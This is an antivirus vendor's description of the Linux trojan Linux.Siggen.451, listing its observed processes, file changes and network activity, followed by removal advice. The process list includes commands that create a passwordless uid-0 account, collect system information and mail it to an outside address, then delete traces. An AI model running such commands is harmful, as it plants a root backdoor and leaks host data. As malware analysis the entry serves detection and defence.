Підтримка
Цілодобова підтримка | Правила звернення

Зателефонуйте

Глобальна підтримка:
+7 (495) 789-45-86

Поширені запитання |  Форум |  Бот самопідтримки Telegram

Ваші запити

  • Всі: -
  • Незакриті: -
  • Останій: -

Зателефонуйте

Глобальна підтримка:
+7 (495) 789-45-86

Зв'яжіться з нами Незакриті запити: 

Профіль

Профіль

Linux.Siggen.451

Добавлен в вирусную базу Dr.Web: 2018-02-21

Описание добавлено:

Technical Information

Malicious functions:
Gains root privileges
Launches itself as a daemon
Substitutes application name for:
  • adduser
Launches processes:
  • /bin/sh <SAMPLE_FULL_PATH> -c exec '<SAMPLE_FULL_PATH>' \"$@\" <SAMPLE_FULL_PATH>
  • <SAMPLE_FULL_PATH>
  • /bin/sh <SAMPLE_FULL_PATH> -c
  • clear
  • id -u
  • sleep 3
  • adduser -g 0 -u 0 -o bash
  • passwd -d bash
  • ifconfig
  • uname -a
  • uptime
  • sshd
  • cat /tmp/mama
  • mail -s Inca o roata root@addlebrain.com
  • /usr/sbin/sendmail send-mail -i -- root@addlebrain.com
  • /usr/sbin/exim4 -Mc 1eoYkF-0000BG-4s
  • rm -rf /tmp/mama
  • mkdir -p /tmp/. /. /. /. /. /. /. /. /.
  • sleep 1
  • /usr/sbin/exim4 #-E1eoYkF-0000BG-4s
  • /usr/sbin/exim4 -Mc 1eoYkG-0000BN-73
  • sleep 2
  • sleep 4
Performs operations with the file system:
Modifies file access rights:
  • /var/spool/exim4/input/1eoYkF-0000BG-4s-D
  • /var/spool/exim4/input/hdr.698
  • /var/spool/exim4/msglog/1eoYkF-0000BG-4s
  • /var/spool/exim4/input/1eoYkG-0000BN-73-D
  • /var/spool/exim4/input/hdr.705
  • /var/spool/exim4/input/hdr.700
  • /var/spool/exim4/msglog/1eoYkG-0000BN-73
  • /var/spool/exim4/input/1eoYkG-0000BN-73-J
  • /var/mail/user
Creates folders:
  • /tmp/.
  • /tmp/. /.
  • /tmp/. /. /.
  • /tmp/. /. /. /.
  • /tmp/. /. /. /. /.
  • /tmp/. /. /. /. /. /.
  • /tmp/. /. /. /. /. /. /.
  • /tmp/. /. /. /. /. /. /. /.
  • /tmp/. /. /. /. /. /. /. /. /.
Creates symlinks:
  • /var/mail/user.lock"
Creates or modifies files:
  • /tmp/mama
  • /tmp/mail.RsXXXXsG8HMd
  • /tmp/mail.RsXXXXsG8HMd (deleted)
  • /tmp/mail.RsXXXXA8h4No
  • /tmp/mail.RsXXXXA8h4No (deleted)
  • /var/spool/exim4/input//1eoYkF-0000BG-4s-D
  • /var/spool/exim4/input/1eoYkF-0000BG-4s-D
  • /var/spool/exim4/input//hdr.698
  • /var/spool/exim4/input/hdr.698
  • /var/spool/exim4/msglog//1eoYkF-0000BG-4s
  • /var/spool/exim4/msglog/1eoYkF-0000BG-4s
  • /var/log/exim4/mainlog
  • /var/spool/exim4/db/retry.lockfile
  • /var/spool/exim4/input//1eoYkG-0000BN-73-D
  • /var/spool/exim4/input/1eoYkG-0000BN-73-D
  • /var/spool/exim4/input//hdr.705
  • /var/spool/exim4/input/hdr.705
  • /var/spool/exim4/msglog//1eoYkG-0000BN-73
  • /var/spool/exim4/msglog/1eoYkG-0000BN-73
  • /var/spool/exim4/input//hdr.700
  • /var/spool/exim4/input/hdr.700
  • /var/spool/exim4/input//1eoYkG-0000BN-73-J
  • /var/mail/user.lock.box-i386.5a8db48c.000002c6
  • /var/mail/user
  • /var/spool/exim4/input/1eoYkG-0000BN-73-J
Deletes files:
  • /tmp/mail.RsXXXXsG8HMd"
  • /tmp/mail.RsXXXXA8h4No"
  • /tmp/mama"
  • /var/spool/exim4/msglog//1eoYkF-0000BG-4s"
  • /var/spool/exim4/input//1eoYkF-0000BG-4s-D"
  • /var/spool/exim4/input//1eoYkF-0000BG-4s-H"
  • /var/spool/exim4/input//1eoYkF-0000BG-4s-J"
  • /var/mail/user.lock.box-i386.5a8db48c.000002c6"
  • /var/mail/user.lock"
  • /var/spool/exim4/msglog//1eoYkG-0000BN-73"
  • /var/spool/exim4/input//1eoYkG-0000BN-73-D"
  • /var/spool/exim4/input//1eoYkG-0000BN-73-H"
  • /var/spool/exim4/input//1eoYkG-0000BN-73-J"
Network activity:
Establishes connection:
  • <LOCAL_DNS_SERVER>
DNS ASK:
  • bo##i386
Other:
Collects CPU information

Рекомендации по лечению


Linux

На загруженной ОС выполните полную проверку всех дисковых разделов с использованием продукта Антивирус Dr.Web для Linux.

Демо бесплатно

На 1 месяц (без регистрации) или 3 месяца (с регистрацией и скидкой на продление)

Скачать Dr.Web

По серийному номеру